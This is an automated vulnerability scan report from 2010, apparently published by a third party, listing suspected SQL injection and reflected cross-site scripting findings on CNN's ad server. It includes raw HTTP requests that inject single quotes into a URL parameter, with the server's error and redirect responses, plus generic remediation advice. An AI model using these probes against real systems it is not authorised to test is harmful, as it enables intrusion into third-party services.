Report generated by Hoyt LLC Research at Sun Nov 07 17:38:52 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. SQL injection

Loading

1.1. http://ads.cnn.com/event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware [REST URL parameter 2]

1.2. http://ads.cnn.com/event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware [REST URL parameter 2]

1.3. http://ads.cnn.com/event.ng/Type=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$ [REST URL parameter 2]

1.4. http://ads.cnn.com/event.ng/Type=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$ [REST URL parameter 2]

1.5. http://ads.cnn.com/event.ng/Type=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com [REST URL parameter 2]

1.6. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bjjvory,bgnocyRtpquc [REST URL parameter 2]

1.7. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc [REST URL parameter 2]

1.8. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=cqsfhkz,bgnocyRtpqxp [REST URL parameter 2]

1.9. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp [REST URL parameter 2]

1.10. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=belzshc,bgnocyWtpqyW [REST URL parameter 2]

1.11. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW [REST URL parameter 2]

1.12. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bufncft,bgnocyRtpqvk [REST URL parameter 2]

1.13. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=454128&FlightID=333013&TargetID=92683&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Targets=93198,92683,72645,100331,1515,76004,94450,108211,82691,88526,95380,99407,86245,97706,100964,105531,93180,105363,108397,108403,108401,88869,90075,88687,88691,90704,94754,101774,108455,108456,101886,97883,97886,100179,107428,107589,99288,102367,102789,106320,106800,107470,107531,86294,95936,98017,101954,91781,102366,91632,92379,105324,108258,106677,104437,105754,105840,106048,106675,107475,107528,107688,108372,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59477,59987,61089,61284,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bufncft,bgnocyRtpqvk [REST URL parameter 2]

1.14. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=463267&FlightID=337929&TargetID=76640&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,15477,16113,17251,18517,18871,18982,20139,30220,31069,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,80830,103069,76640&Values=43,60,80,101,1266,1588,2684,2746,4444,52897,55979,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=TIELID,1570051619821&random=csomnNm,bgnocyIgragzr [REST URL parameter 2]

1.15. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bqofkmf,bgnocyWtpqza [REST URL parameter 2]

1.16. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465353&FlightID=340502&TargetID=108588&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37526,37580,37585,38203,38616,39390,39416,40253,40607,41599,41850,42119,42274,42275,42364,42796,42804,42838,42860,43109,43297,43323,43384,43460,43581,43625,43661,43685,43748&Targets=92685,105334,1515,108588,93196,105324,108258,104111,106677,104437,105840,106048,106675,107475,107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bqofkmf,bgnocyWtpqza [REST URL parameter 2]

1.17. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bcpndoh,bgnocyWtpqyt [REST URL parameter 2]

1.18. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=465828&FlightID=259863&TargetID=93209&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bcpndoh,bgnocyWtpqyt [REST URL parameter 2]

2. Cross-site scripting (reflected)

2.1. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=1x1_top&cnn_rollup=technology¶ms.styles=fs_interstitial [NGUserID cookie]

2.2. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.3. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.4. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=132300 [NGUserID cookie]

2.5. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=132300 [NGUserID cookie]

2.6. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.7. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.8. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.9. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=510316 [NGUserID cookie]

2.10. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=510316 [NGUserID cookie]

2.11. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.12. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.13. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=779824 [NGUserID cookie]

2.14. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.15. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology¶ms.styles=fs [NGUserID cookie]

2.16. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology¶ms.styles=fs&tile=1570051619821&domId=29771 [NGUserID cookie]

2.17. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.18. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.19. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=893172 [NGUserID cookie]

2.20. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=893172 [NGUserID cookie]

2.21. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.22. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=728x90_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.23. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.24. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=732771 [NGUserID cookie]

2.25. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]

2.26. http://ads.cnn.com/html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]

2.27. http://ads.cnn.com/html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=255278 [NGUserID cookie]

2.28. http://ads.cnn.com/html.ng/site=cnn&cnn_position=88x31_spon1&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]



1. SQL injection  next
There are 18 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://ads.cnn.com/event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 20:38:56 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 20:38:56 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://ads.cnn.com:80/http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware
Expires: Sun, 07 Nov 2010 20:38:56 GMT
Connection: close
Content-Type: text/html


1.2. http://ads.cnn.com/event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 20:38:58 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 20:38:58 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://ads.cnn.com:80/http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware
Expires: Sun, 07 Nov 2010 20:38:58 GMT
Connection: close
Content-Type: text/html


